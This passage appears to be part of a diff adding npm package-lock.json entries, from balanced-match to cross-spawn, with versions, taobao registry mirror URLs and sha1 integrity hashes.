+ "now-and-later": "^2.0.0" + } + }, + "balanced-match": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/balanced-match/download/balanced-match-1.0.0.tgz", + "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=", + "dev": true + }, + "base": { + "version": "0.11.2", + "resolved": "https://registry.npm.taobao.org/base/download/base-0.11.2.tgz", + "integrity": "sha1-e95c7RRbbVUakNuH+DxVi060io8=", + "dev": true, + "requires": { + "cache-base": "^1.0.1", + "class-utils": "^0.3.5", + "component-emitter": "^1.2.1", + "define-property": "^1.0.0", + "isobject": "^3.0.1", + "mixin-deep": "^1.2.0", + "pascalcase": "^0.1.1" + }, + "dependencies": { + "define-property": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/define-property/download/define-property-1.0.0.tgz", + "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", + "dev": true, + "requires": { + "is-descriptor": "^1.0.0" + } + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/is-accessor-descriptor/download/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha1-FpwvbT3x+ZJhgHI2XJsOofaHhlY=", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/is-data-descriptor/download/is-data-descriptor-1.0.0.tgz", + "integrity": "sha1-2Eh2Mh0Oet0DmQQGq7u9NrqSaMc=", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npm.taobao.org/is-descriptor/download/is-descriptor-1.0.2.tgz", + "integrity": "sha1-OxWXRqZmBLBPjIFSS6NlxfFNhuw=", + "dev": true, + "requires": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + } + } + } + }, + "base62": { + "version": "1.2.8", + "resolved": "https://registry.npm.taobao.org/base62/download/base62-1.2.8.tgz", + "integrity": "sha1-EmTLD7hI2HV5KHdHnb6LrmuuNCg=", + "dev": true + }, + "base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npm.taobao.org/base64-js/download/base64-js-1.5.1.tgz", + "integrity": "sha1-GxtEAWClv3rUC2UPCVljSBkDkwo=", + "dev": true + }, + "big.js": { + "version": "5.2.2", + "resolved": "https://registry.npm.taobao.org/big.js/download/big.js-5.2.2.tgz", + "integrity": "sha1-ZfCvOC9Xi83HQr2cKB6cstd2gyg=", + "dev": true + }, + "binary-extensions": { + "version": "1.13.1", + "resolved": "https://registry.npm.taobao.org/binary-extensions/download/binary-extensions-1.13.1.tgz?cache=0&sync_timestamp=1610299293319&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fbinary-extensions%2Fdownload%2Fbinary-extensions-1.13.1.tgz", + "integrity": "sha1-WYr+VHVbKGilMw0q/51Ou1Mgm2U=", + "dev": true + }, + "bindings": { + "version": "1.5.0", + "resolved": "https://registry.npm.taobao.org/bindings/download/bindings-1.5.0.tgz", + "integrity": "sha1-EDU8npRTNLwFEabZCzj7x8nFBN8=", + "dev": true, + "optional": true, + "requires": { + "file-uri-to-path": "1.0.0" + } + }, + "bluebird": { + "version": "3.7.2", + "resolved": "https://registry.npm.taobao.org/bluebird/download/bluebird-3.7.2.tgz", + "integrity": "sha1-nyKcFb4nJFT/qXOs4NvueaGww28=", + "dev": true + }, + "bn.js": { + "version": "5.2.0", + "resolved": "https://registry.npm.taobao.org/bn.js/download/bn.js-5.2.0.tgz", + "integrity": "sha1-NYhgZ0OWxpl3canQUfzBtX1K4AI=", + "dev": true + }, + "brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npm.taobao.org/brace-expansion/download/brace-expansion-1.1.11.tgz", + "integrity": "sha1-PH/L9SnYcibz0vUrlm/1Jx60Qd0=", + "dev": true, + "requires": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "braces": { + "version": "2.3.2", + "resolved": "https://registry.npm.taobao.org/braces/download/braces-2.3.2.tgz", + "integrity": "sha1-WXn9PxTNUxVl5fot8av/8d+u5yk=", + "dev": true, + "requires": { + "arr-flatten": "^1.1.0", + "array-unique": "^0.3.2", + "extend-shallow": "^2.0.1", + "fill-range": "^4.0.0", + "isobject": "^3.0.1", + "repeat-element": "^1.1.2", + "snapdragon": "^0.8.1", + "snapdragon-node": "^2.0.1", + "split-string": "^3.0.2", + "to-regex": "^3.0.1" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npm.taobao.org/extend-shallow/download/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "^0.1.0" + } + } + } + }, + "brorand": { + "version": "1.1.0", + "resolved": "https://registry.npm.taobao.org/brorand/download/brorand-1.1.0.tgz", + "integrity": "sha1-EsJe/kCkXjwyPrhnWgoM5XsiNx8=", + "dev": true + }, + "browserify-aes": { + "version": "1.2.0", + "resolved": "https://registry.npm.taobao.org/browserify-aes/download/browserify-aes-1.2.0.tgz", + "integrity": "sha1-Mmc0ZC9APavDADIJhTu3CtQo70g=", + "dev": true, + "requires": { + "buffer-xor": "^1.0.3", + "cipher-base": "^1.0.0", + "create-hash": "^1.1.0", + "evp_bytestokey": "^1.0.3", + "inherits": "^2.0.1", + "safe-buffer": "^5.0.1" + } + }, + "browserify-cipher": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/browserify-cipher/download/browserify-cipher-1.0.1.tgz", + "integrity": "sha1-jWR0wbhwv9q807z8wZNKEOlPFfA=", + "dev": true, + "requires": { + "browserify-aes": "^1.0.4", + "browserify-des": "^1.0.0", + "evp_bytestokey": "^1.0.0" + } + }, + "browserify-des": { + "version": "1.0.2", + "resolved": "https://registry.npm.taobao.org/browserify-des/download/browserify-des-1.0.2.tgz", + "integrity": "sha1-OvTx9Zg5QDVy8cZiBDdfen9wPpw=", + "dev": true, + "requires": { + "cipher-base": "^1.0.1", + "des.js": "^1.0.0", + "inherits": "^2.0.1", + "safe-buffer": "^5.1.2" + } + }, + "browserify-rsa": { + "version": "4.1.0", + "resolved": "https://registry.npm.taobao.org/browserify-rsa/download/browserify-rsa-4.1.0.tgz", + "integrity": "sha1-sv0Gtbda4pf3zi3GUfkY9b4VjI0=", + "dev": true, + "requires": { + "bn.js": "^5.0.0", + "randombytes": "^2.0.1" + } + }, + "browserify-sign": { + "version": "4.2.1", + "resolved": "https://registry.npm.taobao.org/browserify-sign/download/browserify-sign-4.2.1.tgz?cache=0&sync_timestamp=1596557838450&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fbrowserify-sign%2Fdownload%2Fbrowserify-sign-4.2.1.tgz", + "integrity": "sha1-6vSt1G3VS+O7OzbAzxWrvrp5VsM=", + "dev": true, + "requires": { + "bn.js": "^5.1.1", + "browserify-rsa": "^4.0.1", + "create-hash": "^1.2.0", + "create-hmac": "^1.1.7", + "elliptic": "^6.5.3", + "inherits": "^2.0.4", + "parse-asn1": "^5.1.5", + "readable-stream": "^3.6.0", + "safe-buffer": "^5.2.0" + }, + "dependencies": { + "readable-stream": { + "version": "3.6.0", + "resolved": "https://registry.npm.taobao.org/readable-stream/download/readable-stream-3.6.0.tgz", + "integrity": "sha1-M3u9o63AcGvT4CRCaihtS0sskZg=", + "dev": true, + "requires": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + } + }, + "safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npm.taobao.org/safe-buffer/download/safe-buffer-5.2.1.tgz", + "integrity": "sha1-Hq+fqb2x/dTsdfWPnNtOa3gn7sY=", + "dev": true + } + } + }, + "browserify-zlib": { + "version": "0.2.0", + "resolved": "https://registry.npm.taobao.org/browserify-zlib/download/browserify-zlib-0.2.0.tgz", + "integrity": "sha1-KGlFnZqjviRf6P4sofRuLn9U1z8=", + "dev": true, + "requires": { + "pako": "~1.0.5" + } + }, + "browserslist": { + "version": "4.16.3", + "resolved": "https://registry.npm.taobao.org/browserslist/download/browserslist-4.16.3.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fbrowserslist%2Fdownload%2Fbrowserslist-4.16.3.tgz", + "integrity": "sha1-NAqkaUDX24eHSFZ8XeokpI3fNxc=", + "dev": true, + "requires": { + "caniuse-lite": "^1.0.30001181", + "colorette": "^1.2.1", + "electron-to-chromium": "^1.3.649", + "escalade": "^3.1.1", + "node-releases": "^1.1.70" + } + }, + "buffer": { + "version": "4.9.2", + "resolved": "https://registry.npm.taobao.org/buffer/download/buffer-4.9.2.tgz?cache=0&sync_timestamp=1606098100352&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fbuffer%2Fdownload%2Fbuffer-4.9.2.tgz", + "integrity": "sha1-Iw6tNEACmIZEhBqwJEr4xEu+Pvg=", + "dev": true, + "requires": { + "base64-js": "^1.0.2", + "ieee754": "^1.1.4", + "isarray": "^1.0.0" + } + }, + "buffer-equal": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/buffer-equal/download/buffer-equal-1.0.0.tgz", + "integrity": "sha1-WWFrSYME1Var1GaWayLu2j7KX74=", + "dev": true + }, + "buffer-from": { + "version": "1.1.1", + "resolved": "https://registry.npm.taobao.org/buffer-from/download/buffer-from-1.1.1.tgz", + "integrity": "sha1-MnE7wCj3XAL9txDXx7zsHyxgcO8=", + "dev": true + }, + "buffer-xor": { + "version": "1.0.3", + "resolved": "https://registry.npm.taobao.org/buffer-xor/download/buffer-xor-1.0.3.tgz", + "integrity": "sha1-JuYe0UIvtw3ULm42cp7VHYVf6Nk=", + "dev": true + }, + "builtin-status-codes": { + "version": "3.0.0", + "resolved": "https://registry.npm.taobao.org/builtin-status-codes/download/builtin-status-codes-3.0.0.tgz", + "integrity": "sha1-hZgoeOIbmOHGZCXgPQF0eI9Wnug=", + "dev": true + }, + "cacache": { + "version": "12.0.4", + "resolved": "https://registry.npm.taobao.org/cacache/download/cacache-12.0.4.tgz", + "integrity": "sha1-ZovL0QWutfHZL+JVcOyVJcj6pAw=", + "dev": true, + "requires": { + "bluebird": "^3.5.5", + "chownr": "^1.1.1", + "figgy-pudding": "^3.5.1", + "glob": "^7.1.4", + "graceful-fs": "^4.1.15", + "infer-owner": "^1.0.3", + "lru-cache": "^5.1.1", + "mississippi": "^3.0.0", + "mkdirp": "^0.5.1", + "move-concurrently": "^1.0.1", + "promise-inflight": "^1.0.1", + "rimraf": "^2.6.3", + "ssri": "^6.0.1", + "unique-filename": "^1.1.1", + "y18n": "^4.0.0" + }, + "dependencies": { + "lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npm.taobao.org/lru-cache/download/lru-cache-5.1.1.tgz?cache=0&sync_timestamp=1594427573763&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Flru-cache%2Fdownload%2Flru-cache-5.1.1.tgz", + "integrity": "sha1-HaJ+ZxAnGUdpXa9oSOhH8B2EuSA=", + "dev": true, + "requires": { + "yallist": "^3.0.2" + } + }, + "y18n": { + "version": "4.0.1", + "resolved": "https://registry.npm.taobao.org/y18n/download/y18n-4.0.1.tgz?cache=0&sync_timestamp=1609798736426&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fy18n%2Fdownload%2Fy18n-4.0.1.tgz", + "integrity": "sha1-jbK4PDHF11CZu4kLI/MJSJHiR9Q=", + "dev": true + }, + "yallist": { + "version": "3.1.1", + "resolved": "https://registry.npm.taobao.org/yallist/download/yallist-3.1.1.tgz", + "integrity": "sha1-27fa+b/YusmrRev2ArjLrQ1dCP0=", + "dev": true + } + } + }, + "cache-base": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/cache-base/download/cache-base-1.0.1.tgz", + "integrity": "sha1-Cn9GQWgxyLZi7jb+TnxZ129marI=", + "dev": true, + "requires": { + "collection-visit": "^1.0.0", + "component-emitter": "^1.2.1", + "get-value": "^2.0.6", + "has-value": "^1.0.0", + "isobject": "^3.0.1", + "set-value": "^2.0.0", + "to-object-path": "^0.3.0", + "union-value": "^1.0.0", + "unset-value": "^1.0.0" + } + }, + "call-bind": { + "version": "1.0.2", + "resolved": "https://registry.npm.taobao.org/call-bind/download/call-bind-1.0.2.tgz?cache=0&sync_timestamp=1610403007655&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcall-bind%2Fdownload%2Fcall-bind-1.0.2.tgz", + "integrity": "sha1-sdTonmiBGcPJqQOtMKuy9qkZvjw=", + "dev": true, + "requires": { + "function-bind": "^1.1.1", + "get-intrinsic": "^1.0.2" + } + }, + "camelcase": { + "version": "6.2.0", + "resolved": "https://registry.npm.taobao.org/camelcase/download/camelcase-6.2.0.tgz?cache=0&sync_timestamp=1603921787305&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcamelcase%2Fdownload%2Fcamelcase-6.2.0.tgz", + "integrity": "sha1-kkr4gcnVJaydh/QNlk5c6pgqGAk=", + "dev": true + }, + "caniuse-lite": { + "version": "1.0.30001197", + "resolved": "https://registry.npm.taobao.org/caniuse-lite/download/caniuse-lite-1.0.30001197.tgz?cache=0&sync_timestamp=1615163608084&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcaniuse-lite%2Fdownload%2Fcaniuse-lite-1.0.30001197.tgz", + "integrity": "sha1-R60VuXfS8ys+wv4rCH4MUEQ3cds=", + "dev": true + }, + "center-align": { + "version": "0.1.3", + "resolved": "https://registry.npm.taobao.org/center-align/download/center-align-0.1.3.tgz", + "integrity": "sha1-qg0yYptu6XIgBBHL1EYckHvCt60=", + "dev": true, + "requires": { + "align-text": "^0.1.3", + "lazy-cache": "^1.0.3" + } + }, + "cfb": { + "version": "1.2.0", + "resolved": "https://registry.npm.taobao.org/cfb/download/cfb-1.2.0.tgz", + "integrity": "sha1-ak0IcrUl7WA0nh71H7Swv3Psqag=", + "requires": { + "adler-32": "~1.2.0", + "crc-32": "~1.2.0", + "printj": "~1.1.2" + } + }, + "chalk": { + "version": "2.4.2", + "resolved": "https://registry.npm.taobao.org/chalk/download/chalk-2.4.2.tgz?cache=0&sync_timestamp=1591687076871&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fchalk%2Fdownload%2Fchalk-2.4.2.tgz", + "integrity": "sha1-zUJUFnelQzPPVBpJEIwUMrRMlCQ=", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "charenc": { + "version": "0.0.2", + "resolved": "https://registry.npm.taobao.org/charenc/download/charenc-0.0.2.tgz", + "integrity": "sha1-wKHS86cJLgN3S/qD8UwPxXkKhmc=" + }, + "chokidar": { + "version": "2.1.8", + "resolved": "https://registry.npm.taobao.org/chokidar/download/chokidar-2.1.8.tgz?cache=0&sync_timestamp=1610719440699&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fchokidar%2Fdownload%2Fchokidar-2.1.8.tgz", + "integrity": "sha1-gEs6e2qZNYw8XGHnHYco8EHP+Rc=", + "dev": true, + "requires": { + "anymatch": "^2.0.0", + "async-each": "^1.0.1", + "braces": "^2.3.2", + "fsevents": "^1.2.7", + "glob-parent": "^3.1.0", + "inherits": "^2.0.3", + "is-binary-path": "^1.0.0", + "is-glob": "^4.0.0", + "normalize-path": "^3.0.0", + "path-is-absolute": "^1.0.0", + "readdirp": "^2.2.1", + "upath": "^1.1.1" + } + }, + "chownr": { + "version": "1.1.4", + "resolved": "https://registry.npm.taobao.org/chownr/download/chownr-1.1.4.tgz", + "integrity": "sha1-b8nXtC0ypYNZYzdmbn0ICE2izGs=", + "dev": true + }, + "chrome-trace-event": { + "version": "1.0.2", + "resolved": "https://registry.npm.taobao.org/chrome-trace-event/download/chrome-trace-event-1.0.2.tgz", + "integrity": "sha1-I0CQ7pfH1K0aLEvq4nUF3v/GCKQ=", + "dev": true, + "requires": { + "tslib": "^1.9.0" + } + }, + "cipher-base": { + "version": "1.0.4", + "resolved": "https://registry.npm.taobao.org/cipher-base/download/cipher-base-1.0.4.tgz", + "integrity": "sha1-h2Dk7MJy9MNjUy+SbYdKriwTl94=", + "dev": true, + "requires": { + "inherits": "^2.0.1", + "safe-buffer": "^5.0.1" + } + }, + "class-utils": { + "version": "0.3.6", + "resolved": "https://registry.npm.taobao.org/class-utils/download/class-utils-0.3.6.tgz", + "integrity": "sha1-+TNprouafOAv1B+q0MqDAzGQxGM=", + "dev": true, + "requires": { + "arr-union": "^3.1.0", + "define-property": "^0.2.5", + "isobject": "^3.0.0", + "static-extend": "^0.1.1" + }, + "dependencies": { + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npm.taobao.org/define-property/download/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "dev": true, + "requires": { + "is-descriptor": "^0.1.0" + } + } + } + }, + "clean-css": { + "version": "4.2.3", + "resolved": "https://registry.npm.taobao.org/clean-css/download/clean-css-4.2.3.tgz", + "integrity": "sha1-UHtd59l7SO5T2ErbAWD/YhY4D3g=", + "dev": true, + "requires": { + "source-map": "~0.6.0" + }, + "dependencies": { + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npm.taobao.org/source-map/download/source-map-0.6.1.tgz", + "integrity": "sha1-dHIq8y6WFOnCh6jQu95IteLxomM=", + "dev": true + } + } + }, + "clipboard": { + "version": "2.0.7", + "resolved": "https://registry.npm.taobao.org/clipboard/download/clipboard-2.0.7.tgz", + "integrity": "sha1-2pJ/gXsYWUJt85ISrIH+sH266tw=", + "requires": { + "good-listener": "^1.2.2", + "select": "^1.1.2", + "tiny-emitter": "^2.0.0" + } + }, + "cliui": { + "version": "3.2.0", + "resolved": "https://registry.npm.taobao.org/cliui/download/cliui-3.2.0.tgz", + "integrity": "sha1-EgYBU3qRbSmUD5NNo7SNWFo5IT0=", + "dev": true, + "requires": { + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1", + "wrap-ansi": "^2.0.0" + } + }, + "clone": { + "version": "2.1.2", + "resolved": "https://registry.npm.taobao.org/clone/download/clone-2.1.2.tgz", + "integrity": "sha1-G39Ln1kfHo+DZwQBYANFoCiHQ18=", + "dev": true + }, + "clone-buffer": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/clone-buffer/download/clone-buffer-1.0.0.tgz", + "integrity": "sha1-4+JbIHrE5wGvch4staFnksrD3Fg=", + "dev": true + }, + "clone-deep": { + "version": "4.0.1", + "resolved": "https://registry.npm.taobao.org/clone-deep/download/clone-deep-4.0.1.tgz", + "integrity": "sha1-wZ/Zvbv4WUK0/ZechNz31fB8I4c=", + "dev": true, + "requires": { + "is-plain-object": "^2.0.4", + "kind-of": "^6.0.2", + "shallow-clone": "^3.0.0" + } + }, + "clone-stats": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/clone-stats/download/clone-stats-1.0.0.tgz", + "integrity": "sha1-s3gt/4u1R04Yuba/D9/ngvh3doA=", + "dev": true + }, + "cloneable-readable": { + "version": "1.1.3", + "resolved": "https://registry.npm.taobao.org/cloneable-readable/download/cloneable-readable-1.1.3.tgz", + "integrity": "sha1-EgoAywU7+2OiIucJ+Wg+ouEdjOw=", + "dev": true, + "requires": { + "inherits": "^2.0.1", + "process-nextick-args": "^2.0.0", + "readable-stream": "^2.3.5" + } + }, + "code-point-at": { + "version": "1.1.0", + "resolved": "https://registry.npm.taobao.org/code-point-at/download/code-point-at-1.1.0.tgz", + "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=", + "dev": true + }, + "codepage": { + "version": "1.14.0", + "resolved": "https://registry.npm.taobao.org/codepage/download/codepage-1.14.0.tgz", + "integrity": "sha1-jL4lSBMjVZ19MHVxsP/5HnodL5k=", + "requires": { + "commander": "~2.14.1", + "exit-on-epipe": "~1.0.1" + }, + "dependencies": { + "commander": { + "version": "2.14.1", + "resolved": "https://registry.npm.taobao.org/commander/download/commander-2.14.1.tgz?cache=0&sync_timestamp=1613374024216&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcommander%2Fdownload%2Fcommander-2.14.1.tgz", + "integrity": "sha1-IjUSPjevjKPGXfRbAm29NXsBuao=" + } + } + }, + "collection-map": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/collection-map/download/collection-map-1.0.0.tgz", + "integrity": "sha1-rqDwb40mx4DCt1SUOFVEsiVa8Yw=", + "dev": true, + "requires": { + "arr-map": "^2.0.2", + "for-own": "^1.0.0", + "make-iterator": "^1.0.0" + } + }, + "collection-visit": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/collection-visit/download/collection-visit-1.0.0.tgz", + "integrity": "sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=", + "dev": true, + "requires": { + "map-visit": "^1.0.0", + "object-visit": "^1.0.0" + } + }, + "color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npm.taobao.org/color-convert/download/color-convert-1.9.3.tgz", + "integrity": "sha1-u3GFBpDh8TZWfeYp0tVHHe2kweg=", + "dev": true, + "requires": { + "color-name": "1.1.3" + } + }, + "color-name": { + "version": "1.1.3", + "resolved": "https://registry.npm.taobao.org/color-name/download/color-name-1.1.3.tgz", + "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=", + "dev": true + }, + "color-support": { + "version": "1.1.3", + "resolved": "https://registry.npm.taobao.org/color-support/download/color-support-1.1.3.tgz", + "integrity": "sha1-k4NDeaHMmgxh+C9S8NBDIiUb1aI=", + "dev": true + }, + "colorette": { + "version": "1.2.2", + "resolved": "https://registry.npm.taobao.org/colorette/download/colorette-1.2.2.tgz?cache=0&sync_timestamp=1614259838969&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcolorette%2Fdownload%2Fcolorette-1.2.2.tgz", + "integrity": "sha1-y8x51emcrqLb8Q6zom/Ys+as+pQ=", + "dev": true + }, + "commander": { + "version": "2.20.3", + "resolved": "https://registry.npm.taobao.org/commander/download/commander-2.20.3.tgz?cache=0&sync_timestamp=1613374024216&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcommander%2Fdownload%2Fcommander-2.20.3.tgz", + "integrity": "sha1-/UhehMA+tIgcIHIrpIA16FMa6zM=", + "dev": true + }, + "commondir": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/commondir/download/commondir-1.0.1.tgz", + "integrity": "sha1-3dgA2gxmEnOTzKWVDqloo6rxJTs=", + "dev": true + }, + "commoner": { + "version": "0.10.8", + "resolved": "https://registry.npm.taobao.org/commoner/download/commoner-0.10.8.tgz", + "integrity": "sha1-NPw2cs0kOT6LtH5wyqApOBH08sU=", + "dev": true, + "requires": { + "commander": "^2.5.0", + "detective": "^4.3.1", + "glob": "^5.0.15", + "graceful-fs": "^4.1.2", + "iconv-lite": "^0.4.5", + "mkdirp": "^0.5.0", + "private": "^0.1.6", + "q": "^1.1.2", + "recast": "^0.11.17" + }, + "dependencies": { + "glob": { + "version": "5.0.15", + "resolved": "https://registry.npm.taobao.org/glob/download/glob-5.0.15.tgz", + "integrity": "sha1-G8k2ueAvSmA/zCIuz3Yz0wuLk7E=", + "dev": true, + "requires": { + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "2 || 3", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + } + } + }, + "component-emitter": { + "version": "1.3.0", + "resolved": "https://registry.npm.taobao.org/component-emitter/download/component-emitter-1.3.0.tgz", + "integrity": "sha1-FuQHD7qK4ptnnyIVhT7hgasuq8A=", + "dev": true + }, + "concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npm.taobao.org/concat-map/download/concat-map-0.0.1.tgz", + "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=", + "dev": true + }, + "concat-stream": { + "version": "1.6.2", + "resolved": "https://registry.npm.taobao.org/concat-stream/download/concat-stream-1.6.2.tgz", + "integrity": "sha1-kEvfGUzTEi/Gdcd/xKw9T/D9GjQ=", + "dev": true, + "requires": { + "buffer-from": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^2.2.2", + "typedarray": "^0.0.6" + } + }, + "console-browserify": { + "version": "1.2.0", + "resolved": "https://registry.npm.taobao.org/console-browserify/download/console-browserify-1.2.0.tgz", + "integrity": "sha1-ZwY871fOts9Jk6KrOlWECujEkzY=", + "dev": true + }, + "consolidate": { + "version": "0.15.1", + "resolved": "https://registry.npm.taobao.org/consolidate/download/consolidate-0.15.1.tgz?cache=0&sync_timestamp=1599596863404&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fconsolidate%2Fdownload%2Fconsolidate-0.15.1.tgz", + "integrity": "sha1-IasEMjXHGgfUXZqtmFk7DbpWurc=", + "dev": true, + "requires": { + "bluebird": "^3.1.1" + } + }, + "constants-browserify": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/constants-browserify/download/constants-browserify-1.0.0.tgz", + "integrity": "sha1-wguW2MYXdIqvHBYCF2DNJ/y4y3U=", + "dev": true + }, + "convert-source-map": { + "version": "1.7.0", + "resolved": "https://registry.npm.taobao.org/convert-source-map/download/convert-source-map-1.7.0.tgz", + "integrity": "sha1-F6LLiC1/d9NJBYXizmxSRCSjpEI=", + "dev": true, + "requires": { + "safe-buffer": "~5.1.1" + } + }, + "copy-anything": { + "version": "2.0.3", + "resolved": "https://registry.npm.taobao.org/copy-anything/download/copy-anything-2.0.3.tgz", + "integrity": "sha1-hCQHugJGaw34RIGbvjuuu+XUXYc=", + "dev": true, + "requires": { + "is-what": "^3.12.0" + } + }, + "copy-concurrently": { + "version": "1.0.5", + "resolved": "https://registry.npm.taobao.org/copy-concurrently/download/copy-concurrently-1.0.5.tgz", + "integrity": "sha1-kilzmMrjSTf8r9bsgTnBgFHwteA=", + "dev": true, + "requires": { + "aproba": "^1.1.1", + "fs-write-stream-atomic": "^1.0.8", + "iferr": "^0.1.5", + "mkdirp": "^0.5.1", + "rimraf": "^2.5.4", + "run-queue": "^1.0.0" + } + }, + "copy-descriptor": { + "version": "0.1.1", + "resolved": "https://registry.npm.taobao.org/copy-descriptor/download/copy-descriptor-0.1.1.tgz", + "integrity": "sha1-Z29us8OZl8LuGsOpJP1hJHSPV40=", + "dev": true + }, + "copy-props": { + "version": "2.0.4", + "resolved": "https://registry.npm.taobao.org/copy-props/download/copy-props-2.0.4.tgz", + "integrity": "sha1-k7scrfr9MdpbuKnUtB9HHsOnLf4=", + "dev": true, + "requires": { + "each-props": "^1.3.0", + "is-plain-object": "^2.0.1" + } + }, + "core-js": { + "version": "2.6.12", + "resolved": "https://registry.npm.taobao.org/core-js/download/core-js-2.6.12.tgz?cache=0&sync_timestamp=1614537310447&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcore-js%2Fdownload%2Fcore-js-2.6.12.tgz", + "integrity": "sha1-2TM9+nsGXjR8xWgiGdb2kIWcwuw=" + }, + "core-js-compat": { + "version": "3.9.1", + "resolved": "https://registry.npm.taobao.org/core-js-compat/download/core-js-compat-3.9.1.tgz", + "integrity": "sha1-Tlcqz+kK/2nXbYw3dZ0hpcWbtFU=", + "dev": true, + "requires": { + "browserslist": "^4.16.3", + "semver": "7.0.0" + }, + "dependencies": { + "semver": { + "version": "7.0.0", + "resolved": "https://registry.npm.taobao.org/semver/download/semver-7.0.0.tgz?cache=0&sync_timestamp=1606853731020&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fsemver%2Fdownload%2Fsemver-7.0.0.tgz", + "integrity": "sha1-XzyjV2HkfgWyBsba/yz4FPAxa44=", + "dev": true + } + } + }, + "core-util-is": { + "version": "1.0.2", + "resolved": "https://registry.npm.taobao.org/core-util-is/download/core-util-is-1.0.2.tgz", + "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=", + "dev": true + }, + "crc-32": { + "version": "1.2.0", + "resolved": "https://registry.npm.taobao.org/crc-32/download/crc-32-1.2.0.tgz", + "integrity": "sha1-yy224puIUI4y2d0OwWk+e0Ghggg=", + "requires": { + "exit-on-epipe": "~1.0.1", + "printj": "~1.1.0" + } + }, + "create-ecdh": { + "version": "4.0.4", + "resolved": "https://registry.npm.taobao.org/create-ecdh/download/create-ecdh-4.0.4.tgz", + "integrity": "sha1-1uf0v/pmc2CFoHYv06YyaE2rzE4=", + "dev": true, + "requires": { + "bn.js": "^4.1.0", + "elliptic": "^6.5.3" + }, + "dependencies": { + "bn.js": { + "version": "4.12.0", + "resolved": "https://registry.npm.taobao.org/bn.js/download/bn.js-4.12.0.tgz", + "integrity": "sha1-d1s/J477uXGO7HNh9IP7Nvu/6og=", + "dev": true + } + } + }, + "create-hash": { + "version": "1.2.0", + "resolved": "https://registry.npm.taobao.org/create-hash/download/create-hash-1.2.0.tgz", + "integrity": "sha1-iJB4rxGmN1a8+1m9IhmWvjqe8ZY=", + "dev": true, + "requires": { + "cipher-base": "^1.0.1", + "inherits": "^2.0.1", + "md5.js": "^1.3.4", + "ripemd160": "^2.0.1", + "sha.js": "^2.4.0" + } + }, + "create-hmac": { + "version": "1.1.7", + "resolved": "https://registry.npm.taobao.org/create-hmac/download/create-hmac-1.1.7.tgz", + "integrity": "sha1-aRcMeLOrlXFHsriwRXLkfq0iQ/8=", + "dev": true, + "requires": { + "cipher-base": "^1.0.3", + "create-hash": "^1.1.0", + "inherits": "^2.0.1", + "ripemd160": "^2.0.0", + "safe-buffer": "^5.0.1", + "sha.js": "^2.4.8" + } + }, + "cross-spawn": { + "version": "7.0.3", + "resolved": "https://registry.npm.taobao.org/cross-spawn/download/cross-spawn-7.0.3.tgz", + 